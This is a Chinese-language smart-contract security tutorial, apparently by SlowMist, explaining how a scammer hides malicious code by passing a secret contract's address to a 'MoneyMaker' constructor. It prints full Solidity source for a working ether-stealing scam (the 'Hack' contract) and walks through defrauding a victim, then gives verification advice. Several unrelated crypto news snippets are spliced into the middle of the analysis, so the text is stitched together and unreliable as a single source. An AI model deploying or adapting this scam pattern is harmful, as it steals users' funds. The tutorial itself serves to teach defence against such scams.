概述
上期我们了解了利用 tx.origin 进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。
前置知识
大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个 A 合约并告诉受害者我们会在部署 A 合约的构造函数中传入 B 合约的地址并将 B 合约开源,其实我们会在部署 A 合约时传入 C 合约的地址,如果受害者完全信任我们没有检查部署 A 合约的那笔交易,我们就完美的将恶意代码隐藏在了 C 合约中。我们可以从下图来理解这个逻辑:
用户以为的调用路径:
部署合约 A 传入合约 B 地址,这样调用路径为正常路径。
实际的调用路径:
部署合约 A 传入合约 C 地址,这样调用路径为非正常路径。
下面我们使用一个简单的例子来分析这个局:
恶意代码
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker { Vault vault; constructor(address _vault) { vault = Vault(payable(_vault)); } function makeMoney(address recipient) public payable { require(msg.value >= 1, "You are so poor!"); uint256 amount = msg.value * 2; (bool success, ) = address(vault).call{value: msg.value, gas: 2300}(""); require(success, "Send failed"); vault.transfer(recipient, amount); }}contract Vault { address private maker; address private owner; uint256 transferGasLimit; constructor() payable { owner = msg.sender; transferGasLimit = 2300; } modifier OnlyMaker() { require(msg.sender == maker, "Not MoneyMaker contract!"); _; } modifier OnlyOwner() { require(msg.sender == owner, "Not owner!"); _; } function setMacker(address _maker) public OnlyOwner { maker = _maker; } function transfer(address recipient, uint256 amount) external OnlyMaker { require(amount <= address(this).balance, "Game Over~"); (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}( "" ); require(success, "Send failed"); } function withrow() public OnlyOwner { (bool success, ) = owner.call{ value: address(this).balance, gas: transferGasLimit }(""); require(success, "Send failed"); } receive() external payable {} fallback() external payable {}}// This code is hidden in a separate filecontract Hack { event taunt(string message); address private evil; constructor(address _evil) { evil = _evil; } modifier OnlyEvil() { require(msg.sender == evil, "What are you doing?"); _; } function transfer() public payable { emit taunt("Haha, your ether is mine!"); } function withrow() public OnlyEvil { (bool success, ) = evil.call{value: address(this).balance, gas: 2300}( "" ); require(success, "Send failed"); } receive() external payable {} fallback() external payable {}}局分析
Optimism实施Bedrock升级后将超5.4亿美元的ETH转移到一个新的智能合约:金色财经报道,据Arkham监测,Optimism实施Bedrock升级几个小时后,将293288枚ETH(价值约5.49亿美元)从他们的L1网关转移到一个新的智能合约。这目前是在过去一周内记录的最大的单笔链上交易。
金色财经此前报道,Optimism已于北京时间6月7日凌晨2点50分完成主网Bedrock升级,Bedrock测序器已经启动。存取款服务已恢复,关键的外部OP主网基础设施已重新运行。[2023/6/7 21:21:42]
可以看到,上述代码中存在三个合约,我们先结合前置知识中的 A, B, C 三个角色来区分三个合约分别代表什么角色:
MoneyMaker 合约代表 A 合约;
Vault 合约代表 B 合约;
Hack 合约代表 C 合约。
所以用户以为的调用路径为:
MoneyMaker -> Vault。
而实际的调用路径为:
MoneyMaker -> Hack。
下面我们来看看攻击者如何完成局的:
1. Evil 部署 Vault(B) 合约并在合约中留存 100 ETH 资金,在链上将 Vault(B) 合约开源;
2. Evil 部署 Hack(C) 恶意合约;
多链 DeFi 管理协议 Instadapp 推出智能合约钱包 Avocado:3月9日消息,多链 DeFi 管理协议 Instadapp 推出智能合约钱包 Avocado,支持多网络交易,所有网络的 Gas 以 USDC 形式支持,无需管理多个本地 Gas 代币。同时用户可利用内置帐户抽象来创建只有自己可以控制的确定性智能合约,Avocado 额外收取 20% 的 Gas 费,其中 10% 给 DApp 集成商。[2023/3/9 12:50:59]
3. Evil 放出消息说他将会部署一个开源的赚钱 MoneyMaker(A) 合约,部署时会将 Vault(B) 合约地址传入且会调用 Vault.setMacker() 将 maker 角色设置为 MoneyMaker 合约地址,任何人调用 MoneyMaker.makeMoney() 向合约中打入不少于一个以太都会得到双倍以太的回报;
4. Bob 收到消息,了解到 MoneyMaker 合约的存在,他看了 MoneyMaker(A) 和 Vault(B) 合约的代码并检查了 Vault(B) 合约中的余额发现逻辑确实如 Evil 说的那样,他在没有检查 MoneyMaker(A) 部署交易的情况下就相信了 Evil;
5. Bob 调用 MoneyMaker.makeMoney() 向合约中打入自己全部身家 20 ETH,在他满怀期待等着收到 Vault(B) 打来的 40 ETH 时等来的却是一句 "Haha, your ether is mine!"。
PayPal首席执行官:PayPal正关注DeFi和智能合约:金色财经报道,PayPal首席执行官Dan Schulman在第二季度财报电话会议上发表的评论表明,该公司正在加速关注加密货币技术。Schulman表示:“我们仍然对加密货币的势头感到非常满意”。根据Schulman的说法,PayPal的加密野心并不仅限于上述方面,PayPal正在清楚地考虑下一代金融体系的样子以及如何帮助塑造它。在强调了该公司与监管机构的对话以及可能为央行数字货币提供基础设施的长期目标后,Schulman指出了潜在的技术应用,特别强调了智能合约和去中心化金融(DeFi)生态系统。Schulman在电话会议中说:“想象一下不必寄送刺激性支票,而是将它们直接发送到一个数字钱包中,您可以立即收到它,而不必去支票兑现地点进行兑换,并为兑换缴纳费用。我们如何更有效地使用智能合约?我们如何将资产数字化并向以前可能无法访问的消费者开放?此外还有一些有趣的DeFi应用。因此,我们真的很努力。”[2021/7/30 1:23:39]
咋回事呢?其实这个局非常简单但是很常见。Evil 在部署 MoneyMaker 合约时传入的并不是 Vault 合约的地址,而是传入了 Hack 合约的地址。所以当 Bob 调用 MoneyMaker.makeMoney() 时并不会像他想像中的那样 MoneyMaker.makeMoney() 去调用 Vault.transfer() 回打给他双倍的以太,而是调用了 Hack.transfer() 抛出了一个事件:"Haha, your ether is mine!"。最后 Evil 调用 Vault.withrow() 将 Vault 合约中的 100 ETH 转出,并通过 Hack.withrow() 将 Bob 转入的 20 ETH 转出。
公告 | Nexus将升级网络支持新的智能合约功能:据Coinchoice消息,“ Nexus”扩展了基于比特币的区块链的功能,宣布将升级网络以以支持新的智能合约功能。新的网络升级将于11月4日部署,实施将于11月11日启动。[2019/11/5]
预防建议
以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。
慢雾科技
个人专栏
阅读更多
金色荐读
金色财经 善欧巴
迪新财讯
Chainlink预言机
区块律动BlockBeats
白话区块链
金色早8点
Odaily星球日报
MarsBit
Arcane Labs
动态 | EOS原力主网重大升级已经生效 支持智能合约部署:EOS原力核心开发者fanyang表示:经过23个超级节点10小时协同工作,于北京时间2018年10月18日24时完成主网升级;在块高度3385100时,EOS原力主网最新版本v1.1.0升级生效。本次升级后EOS原力主网支持智能合约部署,新版本采用了与EOSIO不同的资源模型,用户无需采用复杂的抵押,只需支付手续费就可以进行操作,开发者也无需担心资源暴涨暴跌对应用开发的影响。同时更新社区投票通过的新分红合约,允许备选节点获取分红。[2018/10/19]
原文标题:《以太坊核心开发者会议更新 015 》原文来源:AllCoreDevs Update原文编译:Stephanie.
来源:香港金管局 2022年是迎难而上的一年。2022年伊始,全球经济环境一片暗淡。全球经济增长继续受压,通胀压力亦持续上升.
原文来源:欧科云链研究院原文作者:Jason Jiang4 月 20 日,欧洲议会通过加密资产市场法规(MiCA).
撰文:DefiNapkin编译:深潮 TechFlow本文是对的 ETH Shanghai 升级后的 ETH 质押数据以及 LSD 市场的概述,ETH 质押总量已经下降了 8%.
去中心化交易所(DEX)PancakeSwap 治理代币 CAKE 本周遭受重创。比推终端数据显示,CAKE 在过去 7 天里暴跌 24.4% ,成为市值前 100.
虽然 S&P 企业获利表现强劲(已发布财报的 137 家企业中超过 80% 的财报结果优于预期)、耐用品数据走强以及 PacWest 的存款增长数据更加良好.